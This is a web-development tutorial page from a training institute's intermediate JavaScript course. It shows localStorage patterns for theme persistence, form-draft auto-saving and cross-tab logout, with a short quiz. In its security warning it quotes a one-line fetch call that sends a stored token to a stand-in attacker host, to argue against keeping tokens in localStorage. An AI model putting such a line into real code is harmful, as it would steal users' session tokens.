MSK Institute LogoMSK.Institute
HomeCourses
Book Free Demo➔Sign In
Free Demo➔
MSK Institute LogoMSK.Institute

Leading computer training academy in Shikohabad for software engineering, Python, web development, and digital literacy.

ISO 9001:2015 Certified Center
Follow & Connect
4.9

Programs & Admissions

  • All CoursesCatalog
  • Learning PathsRoadmaps
  • Student ProjectsShowcase
  • Live Classes & ScheduleLive
  • Upcoming Batches
  • Campuses & LocationsHub
  • Verify Certificates
  • Book Free Demo Class

Resources & Tools

  • Free Online Mock TestsAll Tests
  • NIELIT CCC Mock TestFree
  • Course & Career FinderQuiz
  • Study Material Hub
  • All MSK ToolsHub
  • Keyboard ShortcutsNew
  • TypeQuest Speed LabTyping
  • MSK Code PlaygroundCode
  • Interactive Tutorials
  • Quick Cheatsheets

Institute & Contact

  • About MSK Institute
  • Careers & InternshipsHiring
  • Publications & Blogs
  • Gali No. 3, Near Gyan Jyoti Public School,
    Adarsh Nagar, Shikohabad, Uttar Pradesh 283135
  • +91 83930 42166
  • mskshikohabad@gmail.com
  • Hours:Mon – Sat: 8:00 AM – 7:00 PM | Sun: 10:00 AM – 2:00 PM
  • 4.9 ★(38 Google Reviews)
© 2026 MSK Institute. All rights reserved.•Privacy Policy•Terms of Service•Disclaimer•Contact Us

Shikohabad's Leading Computer & Coding Academy

Home
Courses
Live
Material
Practical Use Cases0%
Study Materials
JavaScript for IntermediateProgress 0%
1.1Block Scope with let & const1.2Template Literals1.3Destructuring Arrays and Objects1.4Default Parameters1.5Enhanced Object Literals
11.1LocalStorage11.2SessionStorage11.3Practical Use Cases
HomeTutorialsJavaScript for IntermediatePractical Use Cases
Understanding Iterators

Practical Use Cases

Beginner12 min read•Updated: 2026-09-15•By Er. Sumit Kumar (MSK Institute)
Study Materials

Theoretical knowledge of localStorage and sessionStorage becomes powerful when applied to real-world frontend challenges. In this tutorial, we implement three production-grade features: dark mode theme persistence, form draft auto-saving, and tab synchronization.


1. Pattern 1: Dark Mode Theme Persistence (No Flash of Wrong Theme)

A frequent bug in theme switchers is the Flash of Incorrect Theme (FOIT)—where a white screen flashes briefly before JavaScript reads localStorage.

The Solution: Synchronous Head Script

1<!DOCTYPE html>
2<html lang="en">
3<head>
4 <meta charset="UTF-8" />
5 <title>Theme Persistence</title>
6 <!-- CRITICAL: Inline script in head runs before body is rendered! -->
7 <script>
8 (function() {
9 const savedTheme = localStorage.getItem('app-theme');
10 const prefersDark = window.matchMedia('(prefers-color-scheme: dark)').matches;
11 const theme = savedTheme || (prefersDark ? 'dark' : 'light');
12 document.documentElement.setAttribute('data-theme', theme);
13 })();
14 </script>
15 <link rel="stylesheet" href="styles.css" />
16</head>
17<body>
18 <button id="theme-toggle">Toggle Theme</button>
19 <script src="app.js"></script>
20</body>
21</html>

2. Pattern 2: Form Draft Auto-Saver (Debounced)

Prevent user frustration from accidental page reloads or crashes by auto-saving long textareas into sessionStorage or localStorage:

1class DraftAutoSaver {
2 constructor(formSelector, storageKey) {
3 this.form = document.querySelector(formSelector);
4 this.storageKey = storageKey;
5 this.debounceTimer = null;
6 
7 this.restoreDraft();
8 this.attachListeners();
9 }
10 
11 attachListeners() {
12 this.form.addEventListener('input', () => {
13 clearTimeout(this.debounceTimer);
14 // Debounce: save 500ms after user stops typing
15 this.debounceTimer = setTimeout(() => this.saveDraft(), 500);
16 });
17 
18 this.form.addEventListener('submit', () => {
19 // Clear draft once successfully submitted!
20 localStorage.removeItem(this.storageKey);
21 });
22 }
23 
24 saveDraft() {
25 const formData = new FormData(this.form);
26 const data = Object.fromEntries(formData.entries());
27 localStorage.setItem(this.storageKey, JSON.stringify(data));
28 console.log('Draft auto-saved to localStorage.');
29 }
30 
31 restoreDraft() {
32 const saved = localStorage.getItem(this.storageKey);
33 if (!saved) return;
34 
35 try {
36 const data = JSON.parse(saved);
37 Object.entries(data).forEach(([name, value]) => {
38 const input = this.form.elements[name];
39 if (input) input.value = value;
40 });
41 console.log('Previous draft restored successfully.');
42 } catch (e) {
43 console.error('Failed to restore draft:', e);
44 }
45 }
46}
47 
48// Instantiate
49new DraftAutoSaver('#comment-form', 'draft_comment_post_104');

3. Pattern 3: Cross-Tab Logout Synchronization

When a user logs out in one tab, all other open tabs in the browser should immediately detect the logout and redirect to the login screen for security:

1// When logout button is clicked in ANY tab:
2function performLogout() {
3 // Update storage key with timestamp to ensure storage event triggers
4 localStorage.setItem('session_logout_event', Date.now().toString());
5 localStorage.removeItem('auth_user_token');
6 window.location.href = '/login';
7}
8 
9// In ALL tabs (listening for changes from other tabs):
10window.addEventListener('storage', (event) => {
11 if (event.key === 'session_logout_event') {
12 console.warn('Logout detected in another tab. Redirecting...');
13 window.location.href = '/login?reason=remote_logout';
14 }
15});

4. Security Warning: Why NEVER Store Sensitive JWTs in LocalStorage!

localStorage has no protection against Cross-Site Scripting (XSS). Any malicious third-party script injected via an NPM dependency, browser extension, or CDN can read your storage:

1// Any injected script can steal your tokens in one line:
2fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'));

Production Best Practice:

  • Sensitive Auth Tokens: Store in HttpOnly, Secure, SameSite=Strict cookies (inaccessible to JavaScript).
  • LocalStorage: Store only non-sensitive UI state, themes, language preferences, and form drafts.

Interactive Quiz• Knowledge Check

Practice Quiz

Question 1
How can you prevent "Flash of Incorrect Theme" (FOIT) when persisting a dark theme in localStorage?
Question 2
Why is debouncing used when auto-saving form inputs to localStorage?
Question 3
Why should sensitive authentication tokens (like bank or session JWTs) NOT be stored in localStorage?
Question 4
When a form is successfully submitted, what should happen to its saved draft in localStorage?
Question 5
How can a web application instantly log out a user across 5 open tabs when they click "Logout" in one tab?
Next Lesson

Understanding Iterators

Continue learning with hands-on practice, examples, and exercises in the upcoming topic.

Related Lessons

Previous LessonNext Lesson
SessionStorageUnderstanding Iterators

Practice Quiz

Test your understanding of this lesson with 5 questions. Each question has one correct answer.

Mentor-Led Practical Training

Master JavaScript for Intermediate with Hands-On Projects

Practice in live mentor-led sessions with real projects, mock tests, and verifiable certification at MSK Institute.

View Full CourseBook Free Demo
PreviousNext
PreviousPrevNext